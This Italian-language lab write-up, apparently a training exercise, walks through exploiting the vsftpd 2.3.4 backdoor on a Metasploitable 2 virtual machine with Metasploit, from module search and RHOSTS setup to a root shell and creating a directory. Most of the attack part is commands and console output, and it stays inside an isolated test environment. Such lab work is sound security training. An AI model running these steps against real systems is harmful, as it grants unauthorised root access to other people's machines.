

Exploitation del servizio VSFTPD con Metasploit

1. Introduzione

L'obiettivo di questa esercitazione pratica è simulare una sessione di attacco informatico controllata verso una macchina vulnerabile la Metasploitable. Nello specifico, mi concentro sullo sfruttamento di una vulnerabilità nota nel servizio FTP identificato come **vsftpd** versione 2.3.4.

Questa versione specifica conteneva una "backdoor" inserita maliziosamente nel codice sorgente che permetteva a chiunque si connettesse con un nome utente contenente una faccina sorridente :) di ottenere accesso immediato al sistema come utente root sulla porta 6200.

2. Strumenti Utilizzati

- **VirtualBox:** Piattaforma di virtualizzazione per isolare l'ambiente di test.
- **Kali Linux (Attaccante):** Sistema operativo contenente la suite di strumenti di hacking.
- **Metasploitable 2 (Vittima):** Macchina virtuale deliberatamente vulnerabile.
- **Metasploit Framework:** Piattaforma software per lo sviluppo e l'esecuzione di exploit.
- **Modulo Exploit:** exploit/unix/ftp/vsftpd_234_backdoor.

3. Procedura

Configurazione della Rete

Come richiesto dalla traccia devo assicurarmi che la macchina Metasploitable abbia l'indirizzo IP 192.168.1.149.

1. Accedo alla console della macchina virtuale **Metasploitable**.
2. Eseguo il login

- Digito il seguente comando per forzare l'indirizzo IP4. Verifica che l'IP:

```
msfadmin@metasploitable:~$ sudo ifconfig eth0 192.168.1.149 netmask 255.255.255.0
```

- Verifico che l'IP sia stato assegnato correttamente digitando **ifconfig**.

```
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
    link/ether 08:00:27:6c:0b:f4 brd ff:ff:ff:ff:ff:ff
        inet 192.168.1.149/24 brd 192.168.1.255 scope global eth0
            inet6 fe80::a00:27ff:fe6c:bf4/64 scope link
                valid_lft forever preferred_lft forever
```

- Mi sposto ora sulla tua macchina **Kali Linux** e verifico di poter vedere la vittima con un ping:

```
└─(kali㉿kali)-[~]
$ ping -c 4 192.168.1.149
PING 192.168.1.149 (192.168.1.149) 56(84) bytes of data.
64 bytes from 192.168.1.149: icmp_seq=1 ttl=64 time=0.194 ms
64 bytes from 192.168.1.149: icmp_seq=2 ttl=64 time=0.214 ms
64 bytes from 192.168.1.149: icmp_seq=3 ttl=64 time=0.230 ms
64 bytes from 192.168.1.149: icmp_seq=4 ttl=64 time=0.203 ms

--- 192.168.1.149 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3089ms
rtt min/avg/max/mdev = 0.194/0.210/0.230/0.013 ms
```

Avvio di Metasploit e Ricerca dell'Exploit

Apro il terminale su Kali Linux. Il primo passo è avviare la console di Metasploit.

Comando:

```
└─(kali㉿kali)-[~]
$ msfconsole
```

Attendo che appaia il banner di Metasploit. Una volta caricato cercherò il modulo specifico per la vulnerabilità vsftpd.

```

└──(kali㉿kali)-[~]
$ msfconsole
Metasploit tip: Enable HTTP request and response logging with set HttpTrace
true

IIIIII    dTb.dTb
   II      4' v 'B
   II      6. .P
   II      'T;. .;P'
   II      'T; ;P'
IIIIIII     'YvP'

I love shells --egypt

      =[ metasploit v6.4.103-dev
+ -- ---=[ 2,584 exploits - 1,319 auxiliary - 1,697 payloads      ]
+ -- ---=[ 434 post - 49 encoders - 14 nops - 9 evasion       ]

Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project

msf > █

```

Comando:

```
msf > search vsftpd
```

L'output mostrerà una lista di moduli quello che mi interessa è exploit/unix/ftp/vsftpd_234_backdoor.

```

msf > search vsftpd
Matching Modules
=====
#  Name                                Disclosure Date  Rank      Check  Description
-  --
0  auxiliary/dos/ftp/vsftpd_232        2011-02-03    normal   Yes    VSFTPD 2.3.2 Denial of Service
1  exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03    excellent No     VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor
msf > █

```

Selezione e Configurazione dell'Exploit

Ora devo dire a Metasploit di utilizzare quel modulo specifico e configurare il bersaglio (la macchina Metasploitable).

1. Selezione l'exploit:

```
msf > use 1
[*] No payload configured, defaulting to cmd/unix/interact
msf exploit(unix/ftp/vsftpd_234_backdoor) >
```

2. Visualizzo le opzioni: Vedo cosa serve per far funzionare questo exploit.

```
msf exploit(unix/ftp/vsftpd_234_backdoor) > options
Module options (exploit/unix/ftp/vsftpd_234_backdoor):
Name      Current Setting  Required  Description
CHOST            no        The local client address
CPORT            no        The local client port
Proxies          no        A proxy chain of format type:host:port[,type:host:port][ ... ]. Supported proxies: sapni, socks4, socks5, socks5h, http
RHOSTS          yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT           21        yes       The target port (TCP)

Exploit target:
Id  Name
--  --
0   Automatic

View the full module info with the info, or info -d command.
```

3. Imposto il bersaglio (RHOSTS): Devo impostare l'IP della vittima che ho configurato all'inizio.

```
msf exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.1.149
RHOSTS => 192.168.1.149
```

4. Verifica finale: Rilancio show options per assicurarmi che l'indirizzo IP sia corretto sotto la voce RHOSTS.

```
msf exploit(unix/ftp/vsftpd_234_backdoor) > options
Module options (exploit/unix/ftp/vsftpd_234_backdoor):
Name      Current Setting  Required  Description
CHOST            no        The local client address
CPORT            no        The local client port
Proxies          no        A proxy chain of format type:host:port[,type:host:port][ ... ]. Supported proxies: sapni, socks4, socks5, socks5h, http
RHOSTS          192.168.1.149  yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT           21        yes       The target port (TCP)

Exploit target:
Id  Name
--  --
0   Automatic

View the full module info with the info, or info -d command.
```

Svolgimento dell'Attacco (Exploitation)

È il momento di lanciare l'attacco. Questo comando invierà il payload malevolo alla porta 21 della vittima, attiverà la backdoor e aprirà una connessione.

Comando:

```
msf exploit(unix/ftp/vsftpd_234_backdoor) > run
[*] 192.168.1.149:21 - Banner: 220 (vsFTPD 2.3.4)
[*] 192.168.1.149:21 - USER: 331 Please specify the password.
[+] 192.168.1.149:21 - Backdoor service has been spawned, handling ...
[+] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.150:45235 → 192.168.1.149:6200) at 2026-01-20 09:43:21 -0500
```

Se tutto va a buon fine vedrò un messaggio "Found shell" o "Command shell session 1 opened".

A questo punto non vedrò il classico prompt colorato di Linux, ma avrò una riga vuota o un prompt molto semplice. Sono dentro.

Per confermare di essere l'amministratore:

```
msf exploit(unix/ftp/vsftpd_234_backdoor) > run
[*] 192.168.1.149:21 - Banner: 220 (vsFTPD 2.3.4)
[*] 192.168.1.149:21 - USER: 331 Please specify the password.
[+] 192.168.1.149:21 - Backdoor service has been spawned, handling ...
[+] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.150:45235 → 192.168.1.149:6200) at 2026-01-20 09:43:21 -0500

whoami
root
```

Se la risposta è root ho il controllo totale della macchina.

Creazione della Cartella (Post-Exploitation)

Ora eseguo la seconda parte dell'esercizio cioè navigare nella root e creare la cartella specifica.

1. Navigare alla directory root:

```
cd /
```

2. Creo la cartella richiesta:

```
mkdir test_metasploit
```

3. Verifica: Per dimostrare che l'operazione è stata eseguita elenco i file nella directory root per vedere se la cartella esiste.

```
ls -l
```

Cerco nella lista la voce test_metasploit. Essendo loggato come root la cartella apparterrà all'utente root.

```
ls -l
total 101
drwxr-xr-x  2 root root  4096 May 13  2012 bin
drwxr-xr-x  4 root root  1024 May 13  2012 boot
lrwxrwxrwx  1 root root   11 Apr 28  2010 cdrom → media/cdrom
drwxr-xr-x 14 root root 13480 Jan 20 09:00 dev
drwxr-xr-x 94 root root  4096 Jan 20 09:00 etc
drwxr-xr-x  6 root root  4096 Apr 16  2010 home
drwxr-xr-x  2 root root  4096 Mar 16  2010 initrd
lrwxrwxrwx  1 root root   32 Apr 28  2010 initrd.img → boot/initrd.img-2.6.24-16-server
drwxr-xr-x 13 root root  4096 May 13  2012 lib
drwx———  2 root root 16384 Mar 16  2010 lost+found
drwxr-xr-x  4 root root  4096 Mar 16  2010 media
drwxr-xr-x  3 root root  4096 Apr 28  2010 mnt
-rw———  1 root root 24567 Jan 20 09:01 nohup.out
drwxr-xr-x  2 root root  4096 Mar 16  2010 opt
dr-xr-xr-x 106 root root     0 Jan 20 09:00 proc
drwxr-xr-x 13 root root  4096 Jan 20 09:01 root
drwxr-xr-x  2 root root  4096 May 13  2012 sbin
drwxr-xr-x  2 root root  4096 Mar 16  2010 srv
drwxr-xr-x 12 root root     0 Jan 20 09:00 sys
drwx———  2 root root  4096 Jan 20 09:49 test_metasploit
drwxrwxrwt  4 root root  4096 Jan 20 09:01 tmp
drwxr-xr-x 12 root root  4096 Apr 27  2010 usr
drwxr-xr-x 14 root root  4096 Mar 17  2010 var
lrwxrwxrwx  1 root root   29 Apr 28  2010 vmlinuz → boot/vmlinuz-2.6.24-16-server
```

Cerco nella lista la voce test_metasploit. Essendo loggato come root la cartella apparterrà all'utente root.

4. Conclusione

L'esercizio ha dimostrato con successo come una vulnerabilità critica in un servizio (in questo caso una backdoor in VSFTPD v2.3.4) possa compromettere l'intera sicurezza di un server. Utilizzando **Metasploit Framework**, sono stato in grado di:

1. Identificare il servizio vulnerabile.
2. Configurare ed eseguire un exploit remoto.
3. Ottenere privilegi di root (massimo livello).
4. Eseguire comandi di sistema (creazione directory) sulla macchina vittima confermando la totale compromissione del sistema.

Questo sottolinea l'importanza di mantenere il software aggiornato e di utilizzare versioni prive di vulnerabilità note o backdoor.